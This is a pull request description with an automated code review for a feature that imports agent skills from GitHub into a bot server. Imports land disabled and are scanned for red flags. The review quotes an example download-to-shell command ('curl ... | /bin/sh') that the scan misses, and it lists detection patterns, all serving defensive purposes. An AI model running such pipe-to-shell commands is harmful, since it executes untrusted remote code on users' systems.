Server half of the Import-skill feature. Adopts the open agentskills.io SKILL.md format — the same one claude, codex, and grok CLIs all discover natively from disk, which is why enabled skills are symlinked into .claude/skills, .agents/skills, and .grok/skills inside the bot's workspace, with a budgeted name+description index injected for engines without native support (the MEMORY.md pattern).

Security posture (from the registry audits — Snyk ToxicSkills found 12–37% of public skills flawed): markdown-only v1 (scripts recorded as skipped, never written), imports land disabled with provenance (source + sha256) and a static scan (base64 blobs, curl|sh, invisible Unicode), and a person enables after reading the full SKILL.md.

9 new tests incl. lifecycle (disabled → invisible to prompt → enabled → indexed + linked), traversal-shaped names rejected, scan patterns pinned. Full suite green, typecheck + lint clean. UI followed on this branch after the squash-merge (feat/skill-import): a Skills card in bot settings, shaped like the Memory card — imported skills listed with an enable switch, remove, a warning badge when the scan flagged anything, and a provenance line (source + sha256 prefix); paste owner/repo or a GitHub URL to import (lands disabled, opens straight into review); the review pane shows the full SKILL.md as plain text (imported content is never markdown-rendered), warnings and skipped files above it, and an explicit Enable button.

Summary by CodeRabbit

  • New Features

    • Added per-bot Agent Skills management.
    • Skills can be imported from GitHub, reviewed, enabled or disabled, and removed.
    • Imported skills are installed disabled by default and display individual installation errors.
    • Added security warnings and validation for skill files.
    • Enabled skill instructions are included in one-to-one and room conversations.
    • Added support for discovering skills from common GitHub repository and folder formats.
  • Tests

    • Added coverage for skill validation, importing, management, discovery, and duplicate handling.

Adopts the open agentskills.io format (Apache-2.0 spec). Server v1:

- fetch from GitHub (owner/repo, tree/blob/raw URLs) with the registry's
  discovery walk (skills/, .claude/skills, .agents/skills), size caps
- markdown-only: scripts are recorded as skipped, never written — the
  Snyk/Koi registry audits found confirmed exfil payloads almost always
  in scripts
- imports land DISABLED with provenance (source + sha256) and static
  red-flag scan (base64 blobs, curl|sh, invisible Unicode); a person
  enables after reading the full SKILL.md
- enabled skills reach the bot like MEMORY.md does: a budgeted
  name+description index in the system prompt, files read on demand —
  plus symlinks into .claude/skills, .agents/skills and .grok/skills in
  the workspace so CLIs with native skill support load them themselves
- API: list / import / read / enable / remove under /api/bots/:id/skills

UI (import modal in bot settings) is the follow-up PR.

📝 Walkthrough

Walkthrough

Changes

Agent Skills

Layer / File(s) Summary
Skill validation and storage
server/skills.ts, server/skills.test.ts
Adds metadata parsing, content warnings, manifest persistence, file restrictions, and disabled-by-default installation.
Skill lifecycle and prompt exposure
server/skills.ts, server/skills.test.ts
Adds listing, file reads, enable/disable, removal, native discovery links, and bounded prompt indexes.
GitHub import and bot API integration
server/skill-fetch.ts, server/index.ts, server/skills.test.ts
Adds GitHub source discovery and download handling, bot-scoped skill routes, and skill instructions in private and room prompts.

Estimated code review effort: 3 (Moderate) | ~25 minutes

Merge Risk: 🟠 High · up to d966e

This change can delete existing user-managed skill files when imported skills are enabled, disabled, or removed, and skill imports can hang indefinitely while waiting on remote requests. Merge should be blocked until native skill directories are preserved and bounded request timeouts are added.

Add a deadline to GitHub requests.

Lines 67 and 75 call fetcher without a timeout or cancellation signal. A stalled response can keep the skill-import request pending and consume a server connection.

Pass a bounded abort signal to every fetch. Convert timeout errors into a clear import error.

Remove the workspace created by each test.

The tests write skills to workspaceDir(bot), but Line 37 removes only scratch. scratch is not used as the skill workspace. Each test therefore leaves a random bot workspace, manifest, and skill files in the test data directory.

Remove workspaceDir(bot) during afterEach, or configure the workspace root before these modules load.

Detect shell paths after a download pipe.

Line 91 does not warn for curl https://x.example/install | /bin/sh. The expression requires sh or bash immediately after |. This bypasses the required download-to-shell scan and removes a review warning for a dangerous skill.

Allow an optional executable path before the shell name.

Preserve existing native skill directories.

Line 152 recursively deletes .claude/skills, .agents/skills, and .grok/skills. A bot workspace can already contain user-managed native skills in these directories. Enabling, disabling, or removing one imported skill deletes those files.

Remove and recreate only links managed by this feature. Do not remove the parent native skill directory.
